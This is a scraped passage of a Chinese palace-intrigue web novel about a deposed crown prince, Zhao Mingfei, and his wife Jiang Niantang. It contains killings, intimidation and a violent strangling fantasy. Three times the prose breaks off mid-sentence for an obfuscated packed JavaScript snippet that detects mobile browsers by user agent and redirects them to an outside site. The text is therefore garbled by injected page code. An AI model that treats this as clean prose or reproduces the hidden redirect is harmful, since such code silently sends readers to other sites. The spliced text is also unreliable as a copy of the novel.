现在她却后悔了,她怕赵明斐知道自己尽心费力地教导被用于满足她卑鄙的私-欲。 江念棠看向画中已经认不出到底是谁的丹青图,撂下笔垂眸到:“已经够了。” 她有一幅画,足以慰平生。 这日赵明斐等了等了很久,直到江念棠离开也没听见她提出要一幅自己的丹青图。 他审视着画纸上的男子,那股怪异的感觉重新涌上心头。 眉毛和眼睛画得还算勉强…… * 江念棠这两日准备在云梦阁收拾出一间厢房,就在她住的屋子隔壁,准备给赵明斐吃过午膳后临时休憩。 他从小在皇宫里长大,用的东西都是万里挑一的好物件,便把左思从西巷口各处废殿里的东西挑挑拣拣,选出好的物件放进去。 久未住人的屋子有股难闻的霉味,江念棠在屋里放置大量的瓶插鲜花,又去后山寻了些驱虫草药,合着晒干的茉莉花一起做出好几个做成香囊,挂在屋里各处。 屋子的窗开在背光方向,只有夕阳落下时才偷得几缕余晖。 江念棠看着昏暗的屋子,若有所思望着隐在群山之间的金瓦朱墙。 左思能从废殿里寻来这样精美华贵的床榻和桌子,里面应该还有其他的好东西。 江念棠不敢走远,恰好走到审问青梅的宫殿附近。 赵明斐此时正好在里面审人。 他在江念棠提议以青梅为诱饵的计划上提议上略作改动,放出消息说青梅撞见了什么不干净的东西受了惊吓,整日胡言乱语。 果然,她的同伙们怕她说漏嘴害了自己,不惜一切代价想办法杀人灭口。 方法比想象中更奏效,今日屋内的便是第三批前来“探病”的人。 赵明斐手中把玩着随身携带的匕首,黑眸无光,地上横七竖八躺着几个刚咽气的人,还有最后一个跪在尸体中央,被蒙着眼睛。 “他们不要开口说话的机会,”赵明斐将匕首贴在幸存者的脑门上,漫不经心地来回移动,“你呢?” 幸存者被刃尖的锋芒所刺,浑身发抖,汗毛直立,心中后悔万分。 他从前听闻太子宅心仁厚,除了龚州水患那次被逼急了大开杀戒,几乎所有人对他的印象都是温和良善。 然而同伴死前撕心裂肺的痛苦嚎叫,房间里黏腻得几乎凝成实质血腥气,都颠覆了他对赵明斐的认知。 本以为来西巷口监视他的一举一动是个清闲的美差,谁曾想是踏入了阎王殿。 “我……”刚一张口,门外左思神色匆忙闯了进来。 左思低声道:“大皇子妃过来了。” 赵明斐放下匕首,迅速走到窗边看见江念棠独自一人刚踏进正门。 幸存者感受到冰冷的匕首离开自己,仿佛嗅到了生机,赵明斐敢杀他们这些无名之辈,却绝不敢动江家这位小姐,若是把她引过来,自己兴许能得救。 然而他仅是刚冒出这个想法,下一刻就失去了声音。 赵明斐走到窗边,从缝隙里看见江念棠正提起裙摆,跨过朱红色的台阶。 他眼眸微眯,泛着还未隐去的寒光。 “大皇子妃,您在这儿做什么?” 左思忽然从后面冒出来,吓了江念棠一跳。 江念棠转身:“我来找个东西。” 左思眉头一紧,盯着她问:“找什么?” 江念棠被左思看得有些悚然,低声说明来意。 左思蓦地舒展眉毛:“大皇子妃您别自个儿来,废殿年久失修,说不准哪处就有危险。您有什么需要跟奴才说一声,万不要自己轻易冒险。” 江念棠还没来得及走入屋内,就被恭恭敬敬请出去。 离开前她忍不住回头看了一眼,这处废殿大门恢弘,门口还高高挂了两盏大红灯笼,灯笼下坠着明黄流苏,依稀能窥探几分刚建成的奢靡。然而时过境迁,里面一切像被蒙了一层灰色,在阳光照射下有种诡异的宁静。 林风徐来,她闻到一股若有似无的腥臭味,不舒服地捂住口鼻。 江念棠问:“这里是哪里?” 左思脚步未停,脸色发白催促她离开:“是前朝宠妃身前的居所,里面不干净!” 晚间用膳的时候,赵明斐说起她今日误闯废殿这件事,他和左思异口同韵,话里话外都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405077|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是让她不要乱走。 他知道江念棠在布置房间,没想到她这么认真。 赵明斐不想今天的事情再次发生,便道:“我平日里住自己那处习惯了,你不必这样劳心费神,来回也费不了多少功夫。” 江念棠手中动作微顿,笑容僵在脸上,干巴巴道:“殿下不住也没关系,我就是闲来无事布置玩儿,打发时间罢了。” 赵明斐听她语气失落,猜测她大抵是希望自己多陪陪她,这种留人的手段算不得高明,端看对方愿不愿意。 好在目前赵明斐对江念棠尚有几分耐心,于是便道:“下次还要找什么,我陪你一道去。” 江念棠低垂的头骤然支棱起来,言不由衷道:“会不会耽误殿下的正事。” 她脸上的喜悦溢于言表,眼眸含情波光潋滟,看得赵明斐莫名心生怜惜。 谁能对着一个眼里都是你,全心付出不求回报的美人说出拒绝的话呢?更何况她的要求那么低。 赵明斐笑着说不耽误。 江念棠怕赵明斐又有事,第二日就赶忙拉着他四处寻物,寻了大半天也没找到能用的东西,不是缺了这个角,就是坏了那个腿,最后两人还被一场大雨困在半山腰的亭子里。 夏雨如瀑,山风夹带雨针斜插入亭。 赵明斐站在江念棠身后挡住风雨,然而她的脸颊仍被斜雨刺得发白,浮起一层细密的水珠。 “没想到西巷口这么大。”江念棠望着朦胧的山峦感慨道:“今日不该走这么远的,下次要带把伞出来,也不知道这雨要下到什么时候。” 她出门前其实找过伞,不过半天都没有找见一把,也就作罢。 赵明斐被困孤亭脸色没有半分不耐,倒是对将江念棠执着于一个烛台而好奇。 “我听说有一种烛台,能够让蜡烛不间断燃烧。”江念棠喃喃道:“因为屋子很暗,要一直点着灯。” 无论远方的人什么时候回来,都能找到家的方向。 赵明斐低头,江念棠乌黑的睫毛上挂满细密的水珠,随她的声音簌簌颤抖。他忽然想到她曾说过自己怕黑,入夜后总是将房里点满了灯。 有时站赵明斐在烟波洲二层临窗前远眺也能窥见云梦阁的烛光,在黑寂无垠的西巷口尤为显眼。 赵明斐眼眸不自觉软了下来,故意打趣道:“你这样用心布置,也不知道能享受多少天,不嫌麻烦吗?” 江念棠:“哪怕明天要被赐死,今天也要好好过。” 江念棠提起生死之事没有半点畏惧,她转过身抬头对上赵明斐的眼睛:“我想和你好好过日子,就算是只有一天也要认真对待。” 既然结局注定是死,她在临死前要想尽一切办法弥补从前的遗憾。 “我还打算在院子前面劈开一块空地做小教场,你可以在那里练剑,我可以站在树下看你……”江念棠自顾自说着自己的规划。 赵明斐眼眸微弯,再没有说扫兴的话,她仿佛受到极大鼓舞,越说越激动,到后面煞白的脸透出微红。 “我在几座殿宇中找到了海棠树和枇杷树,可以移栽到云梦阁。庭前种海棠树,院后种枇杷树。”江念棠笑得有几分傻气,澄澈的双眸像刚擦干净的镜子,清晰映出赵明斐的脸。 她眼里闪动着对未来的期待,转过身遥看云梦阁方向:“春日赏花,夏日听蝉,秋天吃果,到了冬日……我们可以一起窝在窗前的榻上盖被子看雪。” 赵明斐感觉心底某处蓦地软了下来,仿佛跟着她的描述已然经历过一轮春秋。 他听见自己说:“好。你还想找什么,我陪你。” 他愿意再给她多一点回应。 11. 第 11 章 有了赵明斐的帮助,云梦阁在短短几日再一次大变样,几乎与江念棠描述中的一模一样。 赵明斐推开她屋里朝南的窗棂,外面正对着几棵被修剪齐整的海棠树,粗壮的枝丫依稀能推测出下一个春日海棠盛放的景象。 外面传来断断续续的叮当声响,江念棠寻声探出头去。 几个宫人在海棠树的左边收拾出一块空地当校场。他们把原本栽种在上面的花草尽数移栽到墙边,又用三寸宽一尺长的长条形青石板取而代之铺在松软的土地上,缝隙处用碎石子填平,空地边缘放置上几个木桩,一个放兵器的木架。 江念棠看得目不转睛,眼神动容,泛着粼粼波光,毫不掩饰她的欢喜雀跃。 赵明斐挨着她故意问:“还有哪里不满意,我们继续找。” 听到他调侃的语气,江念棠回过神,红着脸摇头。 “谢谢殿下。”她没想到这么快就实现曾经在脑海里构想过无数次的家。 她忽地心神一动,拉着赵明斐走进隔壁厢房。 赵明斐虽然参与找东西,但布置厢房这件事江念棠坚持不让他插手,这还是他第一次走进来。 屋里虽然昏暗,但半点没有阴沉腐朽的味道,空气里弥漫着淡淡清香,有凝神静气的功效,四周都安置了烛台,虽不是她提到的样式,但比寻常的要多出几个放蜡烛的铜台。 江念棠兴致勃勃拉着他参观这间一眼就看到底的屋子,给她送来的四柱红木架子床、梅兰竹菊苏绣落地屏风等一应上好的家具物件都被放到这间房里。 西南角摆上一座武器木架,可以放下数柄长剑,短剑,只是现在还空空如也。 赵明斐走到床榻前,伸手握住被塞得满满当当的香囊,浓郁的草木药香和茉莉花香混在一起,达成一种微妙的平衡。 “院子蚊虫多,我便在床帐四周多挂了几个香囊。”江念棠看向青竹色纱帐上的靛蓝绸布袋,“药材方子是宫里传出来的,驱虫效果奇佳,我嫌里面的药味重,加了点干花。” 赵明斐垂眸,扯了扯嘴角。 香囊里都是不难弄到的寻常药材,宫里的皇子公主们在夏日时人手一个,年年如此,唯有他从未拥有。 最可笑的是,将这个香囊配方传出去的是他的生母李贵嫔。 江念棠兴奋地向赵明斐介绍屋里的每一个摆件,没注意到他逐渐冷淡下去的神情,最后她重新把问题抛回去。 “殿下瞧瞧,有没有不喜欢的地方?” 赵明斐从没打算住这里,当然也没有不满意的地方。 人在睡觉的时候警惕性最差,他平日里就寝时不允许任何人在屋内,连睡着时都要枕着匕首,更何况自己不熟悉的地方。 他愿意在闲暇之余陪江念棠演一演琴瑟和鸣,只因她是个非常适合做他妻子的人选。 细数江念棠的优点,她虽出身望族,可本身地位低微,母族落寞,又无兄弟,只能倚靠他。相比起其他又蠢又作的女人,她懂分寸,识大体,既不无理取闹,也不会自作聪明。 他总归要娶妻生子,找一个爱自己又不惹麻烦的女人总比找一个有目的,贪得无厌的强。 江念棠从不会掩饰自己的情绪,实在是太好懂,让赵明斐觉得很安全。 * 江念棠一头热地在逐步完善自己的小院,赵明斐偶尔会陪她一起布置,提点可有可无的小建议。 她也不是总听他的,比如坚持要给屋里的每一个烛台围一圈灯罩,上面的图案还要自己画,不让赵明斐插手。 这些小事对赵明斐来说无足轻重,他根本不会在意。 这日,赵明斐坐在窗边的罗汉榻上看书,江念棠坐在他对面做针线活,两人中间隔着一张浅木色案几,案几上放了一碟桂花乳酪,不过谁也没有动。 他们互不打扰,各做各的,却意外和谐。 江念棠行针时不小心戳到指尖,但她惯是能忍的,没有出声,只是微咬住下唇,顺手抹掉迸出的血珠子。 顺势抬头活动活动酸紧的脖子,正好瞧见赵明斐看书的样子。 他喜欢拿起书看,而不是放在案几上低头读,也不靠在后背的大迎枕上,就那么挺直胸膛,端坐而视,显得雍容华贵,气度斐然。 书卷正好遮住他下半张脸,只露出清隽的眉眼,他垂着眸认真浏览。 温和的天光漫过他的眉骨,鼻梁,止步在书册最顶端,往下是看不见的深色阴影,将他的脸割裂成两部分,黑白分明。 上面是温润的玉,下面是浓稠的墨。 俊朗华贵的容貌,温文雅量的气质,赵明斐仅是坐在那,便是一幅绝色的画。 江念棠莫名想起顾焱读书的样子,若是换成他,指定早就瘫在上面,不到半炷香就会以书覆面呼呼大睡。 “笑什么呢?”赵明斐抬眼望向对面,手纹丝不动:“我脸上有什么东西?” 江念棠这才发现自己笑出声,连忙敛了笑意,心虚移开眼,“没、没有。” 赵明斐也不深究,兀自继续专注看书,只不过再有视线落在他身上时不再分神,岿然不动地任其打量。 左思进来的时候,又看见江念棠盯着赵明斐的脸在发呆,假咳一声:“殿下,六皇子和江小姐来了。” 原本还在安静看书的赵明斐瞬间放下书册,转头看向屋外。 “殿下……”江念棠敏锐地捕捉到他脸上一闪而过的寒意,一下子愣住了。 赵明斐再转过头时又变得温和,仿佛刚才的变脸是江念棠的幻觉。 他唇边含着一丝讥讽的笑:“我的弟弟来了,我去看看他,晚膳不用等我。” 六皇子名为赵明澜,是李贵嫔的幼子,亦是赵明斐唯一的亲弟弟。 赵明斐走入他那座荒芜小院的书房时,赵明澜和江盈丹已经在里面等候多时,他眉头紧皱环视四周,见到赵明斐进来时连忙迎上去。 “大哥!”他满脸担忧,急得眼睛都红了:“你怎么样,在这里有没有受苦?” 江盈丹看着气质卓然,风度不减的赵明斐也跟了过去,拿出手帕就开始抹眼泪:“太子哥哥,丹儿好担心你。” 赵明斐先回赵明澜,语气不紧不慢:“我在这里挺好的,每天都过得悠闲自在。” 又看向江盈丹,“我已经不是太子,江小姐小心祸从口出。” 赵明澜显然没想到赵明斐这么沉得住气,拱火道:“大哥别说丧气话,父皇之前只是在气头上。你瞧,他现在允许我进来看你,就是想给你个台阶下。” 赵明斐似笑非笑看着他:“哦,什么台阶?” “大哥只要跟父皇认个错,再交出贪官名单,他定然会网开一面。”赵明澜略带稚气的脸上露出几分急切:“这可是千载难逢的机会,大哥可别再犯糊涂了。” 江盈丹在旁边听着,总觉得哪里不对劲。赵明斐若真按照赵明澜所言认错,岂不是坐实他结党营私,谋害朝廷命官的罪状。 虽然朝野内外都一致认为严珩一的死与赵明斐脱不了关系,但除了举报之人的口供外,其余证据不足以定罪,皇帝为了安抚众臣便将他圈禁在西巷口。 “六弟,欲加之罪何患无辞。”赵明斐油盐不进,他走到书桌前,拿起桌上的毛笔,沾了沾还未干透的墨汁,开始慢慢画画:“我的事情你不要管,顾好自己的日子便是。” “大哥是不是有别的打算。”赵明澜不甘心地继续问:“需要我帮忙吗?” 赵明斐声音变得冷淡:“没有,也不需要你做什么。你走吧,我以后不能再护着你了,在宫中万事小心。” 赵明澜不死心地想继续劝他,被江盈丹抢了过话头:“太、明斐哥哥,我那几天生病了,不省人事,等我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405078|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来,母亲说已经找了其他人替我嫁给你,我为此和家里大闹一阵,但他们说事情已成定局,” 江盈丹急切解释,即便她的生病有几分自愿在里面,可她依旧想给赵明斐留下好印象。 人就是有这样奇怪的占有-欲,哪怕明知道他们两个再无可能,江盈丹依旧希望自己在赵明斐心中占有一席之地,最好是不会再爱上任何女人。 “江念棠她为人无趣得紧,又容姿平庸。”江盈丹故意贬低道:“年龄也偏大,身份卑微不懂规矩,冒犯你的地方请看在她是我妹妹的份上多多担待。明斐哥哥你不需理会她,就把她当成个小猫小狗似的扔在一旁便是……” 赵明斐闻言,抬头看向江盈丹。 他的眼神淡漠无波,却让江盈丹有种惊心动魄的悚然,她顿时噤了声,后面那句“她不会生气的”生生咽了回去。 “江念棠现在是我的妻子。”赵明斐语气冰冷:“不是什么阿猫阿狗,江小姐用此比喻,岂不是也看低了自己。” 江盈丹心中一凛,顿觉有口气不上不下地吊在胸口,压抑难受,她强颜欢笑:“我只是随口一说,她性子不好,怕惹你不高兴。” 赵明斐悠悠收了笔,面含微笑道:“她很好,我心甚悦。” 书桌上,赫然是江念棠的丹青图。 江盈丹的脸霎时一阵青,一阵白,视线黏在纸上像要烧出个窟窿。 赵明澜见气氛不对,赶紧从门外随从手里拿过一个天青色绸缎包袱放在赵明斐书桌旁,担忧道:“娘亲很担心你,但她身份敏感不敢明着表示,就亲手做了一身衣裳拖我带给大哥,盼你平安。” 赵明斐淡淡瞥了眼包袱就移开目光,不变喜怒道:“替我谢谢李贵嫔的记挂。” 赵明澜听见他对娘亲的称呼,心里冷不丁咯噔一下。 赵明澜和江盈丹两人乘兴而来,败兴而归,谁也没得到想要的结果。 江盈丹越想越气,江念棠算个什么东西,她不过是个在自己身边伺候的下人,要不是抬举她,怎么有机会做赵明斐的正妻。 她就算撞了大运嫁给他,也该守本分,绝不该勾-引赵明斐,“我心甚悦”四个字简直像四把利刃直戳她的肺管子,江盈丹呼吸之间都在剧烈疼痛。 离开西巷口的路上她撞见有宫人在搬运枇杷树,好奇地问了句,在得知是赵明斐吩咐给江念棠专门找的,愤怒简直达到顶点,气冲冲就要去云梦阁方向找江念棠麻烦,被赵明澜险险拦下。 赵明澜正烦着,父皇交代的任务没有完成,眼看江盈丹又要惹事。 “这里是西巷口,不是江府。”赵明澜在江盈丹面前懒得装天真,厉声道:“你要找死别拉着我。” 他来的时候看见西巷口外面的围墙三步一岗,五步一哨,银甲森森,长枪寒寒,连一只鸟都飞不进来,一举一动皆在皇帝监视下,哪敢造次。 江盈丹不甘心地望了眼云梦阁的方向,等皇后寿辰那日她定要好好教江念棠些规矩,让她明白有些东西不是她能够肖想的。 天色渐暗,赵明斐虽说不用等他,但江念棠在得知他没叫晚膳后还是装了吃的来到他的小院,得知他在书房后轻轻敲门,低声唤了句殿下。 里面立即传来脚步声,不一会儿房门便被打开,江念棠闻到一股烧焦的味道,不由皱了皱眉。 赵明斐开门看见她没说话,视线移到手里的食樏,顿了顿:“不是叫你不用等我。” 江念棠从他温和的声音里听出僵冷,她置若未闻,自顾自抬手举起吃食,“我习惯和殿下用膳了,今日少了您,总觉得味道不对。” 赵明斐以为她下一句会劝他用膳,心里不由烦躁起来,觉得江念棠有几分恃宠而骄,不料面前的人展颜一笑。 “殿下您忙自个儿的不用管我,我看着您吃就成。” 赵明斐被她逗笑了。 12. 第 12 章 江念棠没说谎,她手里的莲花金纹漆木樏是单层的,里面装了一碗巴掌大的清面,一碟白玉酥。 甜点的分量比面多出不少。 江念棠兀自摆放在桌上,就这么旁若无人吃了起来。 屋内火盆里的东西还未燃尽,隐约能看出是件衣裳,她仅是瞥了眼,便专注于手中的饭食。 江念棠吃东西不说话的时候安静得没有存在感,一丁点碗筷碰撞的声音都没有,只是偶尔抬头看一眼,仿佛在确认他是否在屋里,得到确切答案后又低下头用膳。 赵明斐见她吃的津津有味,丝毫不受影响,而他自己像个物件似的任她观摩,不由失笑。 “我平日里待你不薄。”他走到江念棠对面,故意长叹一声:“竟然真的没我的份。” 江念棠放下吃了半口的白玉酥,轻笑一声仰头而视,含笑的眼宛如皓白的半弦月,娇俏明艳:“殿下现在想吃了吗?” 赵明斐望着见底的碗,眉头一挑:“我不喜欢吃甜食。” 江念棠起身走到门口,唤了在门外守候的左思:“烦请左公公拿另一个食樏过来。” 不到半炷香的工夫,江念棠像变戏法似的又在桌上摆了热腾腾的四菜一汤,鲜香的山煮羊,精致的蟹酿橙,香脆的酥黄独,清淡的东坡豆腐,还有一碗白木樨天香汤,荤素搭配得当,令人食欲大开。 主食是一碗青精饭,上等粳米配以清草汁熬煮,色泽翠绿,看上去清爽可口。 江念棠笑吟吟地请他入座:“殿下快吃,变凉味道就差了。” 一桌子的菜,没有一个不是他喜欢吃的。 赵明斐胸口因赵清澜到访而涌起的隐怒在丰盛的饭菜前消散于无形,不过是一件衣服,他有什么好生气的。 虽然这件衣服无论是款式还是大小都不适合他,但那又怎么样,他可以扔了它,烧了它,他还能拥有无数其他的锦衣华服,轻纱绣裳。 有人不在乎他,有人却视他如珍宝。 赵明斐在这一刻清晰地感受到不爱与爱之间的差别犹如云泥。 “你会每天陪我用膳吗?”他猛地紧紧攥住江念棠的手腕,唇边漾开一抹淡笑,他看着她的眼睛,一字一顿道:“永不缺席。” 江念棠的身体不受控制地猛然一颤,明明他的语气温和,脸上更是她熟悉的浅笑,可江念棠没由来感受到一股阴鸷的气息。 “我……”江念棠的话卡在喉咙里,一时没回答。 赵明斐的另一只从身后扣住她的肩,用力拽到自己身前,形成一个环抱的姿势将江念棠困在中间。 他微偏过头,垂眸贴近她的耳朵轻声道:“你在发抖,是害怕我吗?” 江念棠的心跳得飞快,她也不明白为什么自己会不由自主地感到恐惧,后背的汗毛宛如被凶恶的猛兽盯上般战栗不止。 这样的赵明斐让她极其陌生,陌生到她不知该如何应对。 赵明斐却仿若未查她的畏怯,还替她将鬓角被吹乱的发丝温柔地绕到耳后,笑意不减对她道:“点个头就行。” 温热的气息钻入耳郭,江念棠却顿感一阵悚然的冰凉,她感受到自己手腕上的力道越来越大,几乎要将她折断一般。 她想侧头去看赵明斐的表情,后脑却被他的大掌扣住死死按在肩上,他语调漫不经心却有种令人惊惧的威胁:“再不回答,菜要凉了。” 江念棠强忍着莫名的恐惧,定了定心神道:“当然。” 赵明斐笑着松开江念棠,稍稍后退,他看她的眼神柔情似水:“瞧你,热得都出了一身汗。” 说罢,亲自拿起深青色锦帕替她拭去额前的细汗。 江念棠面色如常,藏在背后的手却死死攥住裙摆,强行压下想要拔腿就跑的冲动,僵直身体任由赵明斐施为。 借着烛光,她觑见锦帕上晕开一大片深色。 自己竟然流了这么多冷汗。 赵明斐眼神认真,动作轻柔,与方才咄咄逼人的样子截然相反,仿佛之前那一幕是江念棠的错觉。 但从掌心传来的疼痛清晰地告诉她刚才的一切不是梦,更不是幻觉。 “你也再吃点。”赵明斐扔了帕子,叫左思再拿一副干净的碗筷进来。 江念棠轻手轻脚夹起剩下的白玉酥,低头小口小口吃了起来,桌上其余的饭菜一口没动。 屋内陷入诡异的静谧,偶尔响起碗筷碰撞瓷碟的清脆声,一旁空地上火盆里的衣裳悄然化为了灰烬。 赵明斐丝毫不介意她忽如其来的沉寂,他自己胃口大开,一个人就吃了七七八八。 “我送你回去。”赵明斐起身,不给江念棠拒绝的机会:“当消消食。” 她来的时候天色灰蒙蒙的,尚能看清脚下的路,现在天已经黑透,今夜无月无星,一眼望去黑暗无边。 左思提灯而来,他手里的八角灯笼比一般的要大一圈,千万缕金丝穿透薄绢,随他的步子游弋四射,青石板,红漆柱,并上檐角嘲风兽都镀了层火焰的釉。 等他靠近,江念棠登时被烈焰灼得睫毛微烫。 赵明斐接过,光晕顷刻间照亮两人全身:“这是西巷口最亮的灯,拿着它,你就不用怕黑了。” 短短一句话,让江念棠对赵明斐的畏惧减轻大半,胸口涌动着不知名的热浪。 她的目光落在灯角缝隙处,隐约可见里面的烛台与寻常的不同,能够点五支蜡烛,其中一支在中间,另外四支呈环抱簇拥之势。 两人并肩而行,赵明斐右手持灯开道,破开黑寂的夜空。灯笼里的焰火随风跳跃,宛如囚着千万只躁动的萤虫,所过之处,亮如白昼,清晰地照亮脚下的每一块鹅卵石。 行至中途,赵明斐忽然开口:“赵明澜今天给我带的衣服,我不喜欢。我瞧你做的香囊精美细致,可以替我做一身衣服吗?” 他语气轻柔补充道:“不用华丽繁复的样式,简单的寝衣就好。” 赵明斐虽然笑着,但眼里丝毫没有笑意,江念棠莫名从他眼底看出几分难过。 也许是今天下午赵明澜到访跟他说了什么事,赵明斐才会如此反常。听说他被罢黜后直接押送到西巷口,还未见李贵嫔一面。 她的娘亲在江府生存尚且不易,李贵嫔在尔虞我诈的深宫之中只会更加艰难。听闻她是商户之女,因容貌昳丽被选入宫闱,虽上头有个皇字与普通商人拉开天堑,但在高门林立的后宫,仍是举步维艰。 赵明斐的出生更是将她推到风口浪尖,不过好在皇帝出手,将赵明斐抱养在皇后名下,才堪堪保住性命。 往后之事,众人皆知,赵明斐年少有为,简在帝心,凭借出众的能力力压诸位皇子,李贵嫔的日子才渐渐好了起来,生下赵明澜。 赵明澜出生时生母是一宫之主,亲哥哥是大权在握的太子,说句命好不为过,尤其是赵明斐将自己不能陪在李贵嫔身边的遗憾尽皆补偿在赵明澜身上,对他百般呵护,千娇万宠。 长兄如父,赵明斐说是把赵明澜当成儿子养也不为过,因而赵明澜从未经历过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405079|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫闱里的明争暗斗。 如今赵明斐一朝跌落,李贵嫔母子想必也不好过,他因此心情不好也能理解。 江念棠推己及人,想到在江府不知消息的病重娘亲,心里顿时软了三分,连带着对他晚膳时的奇怪举动也尽皆释然。 江念棠点点头,“殿下只管写好尺寸送过来,我一定尽快做好。” 赵明斐目光变得异常柔和,唇角高扬温声道:“谢谢。” 翌日江念棠刚刚梳洗打扮完,就得知左思叫人已经抱了数十匹颜色各异的缎子放到隔壁屋里。 她匆匆用过早膳后赶过去,左思见到她后问好,指着两个候在一旁的陌生面孔道:“这两位是来帮您做衣裳的。殿下说秋日将至,您也该添几件新衣,正好一道做了。” 江念棠没想到还有自己的份,转念一想他们现在是幽居之人,不宜招摇,便婉拒左思的好意。 左思看出她是不愿意替赵明斐惹麻烦,笑容更添几分真诚,旁人只想在赵明斐得势时趁东风捞好处,她想着却是如何降低赵明斐的危险。左思心里高兴,话里话外不自觉多透露了几分信息。 “殿下说了不打紧,几件衣裳他还是能做主的。大皇子妃只管挑选喜欢的料子,不够的话奴才再去寻一些过来,珍珠贡缎还是流光锦都管够,您样式上有什么需求只管和她们两个提,她们手艺还算得用,一个擅长苏绣,一个专精剪裁。” 他使了个眼色,两名宫女立即围了上来,她们毕恭毕敬开始替江念棠量体裁衣。 若是江念棠经常入宫,就会认出这两个手脚利落,沉默寡言的宫女一个是针线局最好的绣娘,一个是尚衣局总管的侄女,她们都是宫里有头有脸的人物。 赵明斐进来的时候正好听见宫女在询问江念棠喜欢什么样式。 江念棠余光瞥见他的瞬间脸像被烧着了一样,她从没有被人问得这样细致,连小衣的颜色和图案都要征求她的意见。 江念棠向赵明斐投去求救的目光。 赵明斐温柔一笑,气定神闲道:“我都可以。” 待江念棠听清他的话,两颊顿时充满血色,她抿紧嘴唇羞赧别开眼,恨不得找条地缝钻进去。 她明明不是这个意思! 江念棠放弃抵抗,只求她们快点结束这磨人的活计。 赵明斐兀自找了个圆杌坐下,指节抵住下颌,漫不经心望向江念棠。 她因害羞半偏过头,恰好露出纤细修长的脖颈,玄色皮尺紧贴白腻的肌肤宛如虺蛇般缠绕在上,黑与白界限分明却无法分割。 皮尺两端在宫女手里攥着,她小心翼翼地合拢,生怕伤到贵人。 江念棠则配合地微扬起头,像极了引颈就戮的白鹄。 赵明斐五指微动,眼前浮现出江念棠被软尺勒住脖颈的可怜样。 她这么爱自己,定然不会反抗。 他会恶劣地一点一点收拢手中的皮尺,看着深色的尺慢慢陷入雪色肌肤里,再看她无法抵抗被迫一步步靠近。 赵明斐肯定江念棠一定会哭出来,美眸被逼出潋滟的水光,妩媚动人。 因为窒息感,她会不自觉张开双唇,颤抖着发出濒死小兽一般的细碎呜咽。 令人心折得紧。 他忽然感觉嗓子干渴得厉害,不动声色收回目光,止住想要亲自上前量体的冲动。 赵明斐垂下眼睑,遮住眸底渐沉的深色。 他慢条斯理地抿了口凉茶,嗓音微哑道:“量仔细些,别弄错了尺寸。” 13. 第 13 章 江念棠好不容易熬完宫女们细致入微的量体裁衣,就听见赵明斐悠悠道:“你每日穿得太素净,正好趁这个机会多做些衣裳,以免浪费你正好的颜色。” 他也不征求江念棠的意见,自顾自在旁边挑起了缎子,选的都是梅染,海棠红,鹅黄等色泽饱满的稠艳布料,宫女们双手接过东西后便躬身退下。 赵明斐自觉走到江念棠跟前,低头看着她轻笑一声:“该轮到我了。” 平静的语气中隐隐透出迫切与欣喜,像极了小时候急着领月钱去给娘亲卖药的江念棠。 赵明斐要求江念棠帮他从量尺寸开始。 好在这些事她从前在江府里做过,再加上方才两位宫女已经做了一遍,江念棠也不至于手忙脚乱。 她后知后觉意识到,赵明斐先让人帮她做衣裳就是为了让她熟悉流程。 心里不觉有些奇怪,既然他能找来专门做衣裳的宫人,为什么还要她来做。 不过既然答应了,江念棠便专注手里的活计,左思则在旁边帮忙记录尺寸。 同样一根皮尺在赵明斐身上比划着,他格外配合,抬壁,转身,见她踮着脚还会主动屈膝。 赵明斐体贴建议:“隔着衣服尺寸恐有偏差,需要我脱衣服吗?” 江念棠手中动作微顿,红着耳憋出两个字:“不用。” 赵明斐哦了声,带出几分遗憾的意味,凝视着兢兢业业,忙前忙后的妻子,他漆黑的眼底流动着罕见的、真实的温情。 江念棠耳根子一红,加快手里的动作,不到一炷香就完成量体这部分。 到选料的环节,赵明斐征求江念棠的意见。 她鬼使神差地挑了最为显眼的鹅冠红。 赵明斐露出的讶然之色太明显,江念棠慌忙捡起寝衣最常用的珍珠白,讷讷道:“拿错了。” “不用,你喜欢什么颜色,就用什么颜色。”赵明斐面不改色拿过如朱墙般绚丽的锦缎在江念棠身上比了比,吩咐左思再去找两匹同色的给刚离开的宫女送过去。 此间事刚了,屋外有人求见,赵明斐匆匆道别便大步离去。 他一走,江念棠立即开始动手。 当她拿起左思记录尺寸的纸时,整个人犹如被钉在原地,脑中一片空白。 半晌,纸张还未干透的墨被晕开一大团,渐渐模糊掉其中一部分字迹。 * 万籁俱静的烟波洲,月影婆娑。 二层槅扇窗打开,夜风从湖面而来,书案上点的青灯烛焰忽明忽灭地跳跃着,幽暗的火光落在乱舞的纱帐上,映照出一道颀长的黑影。 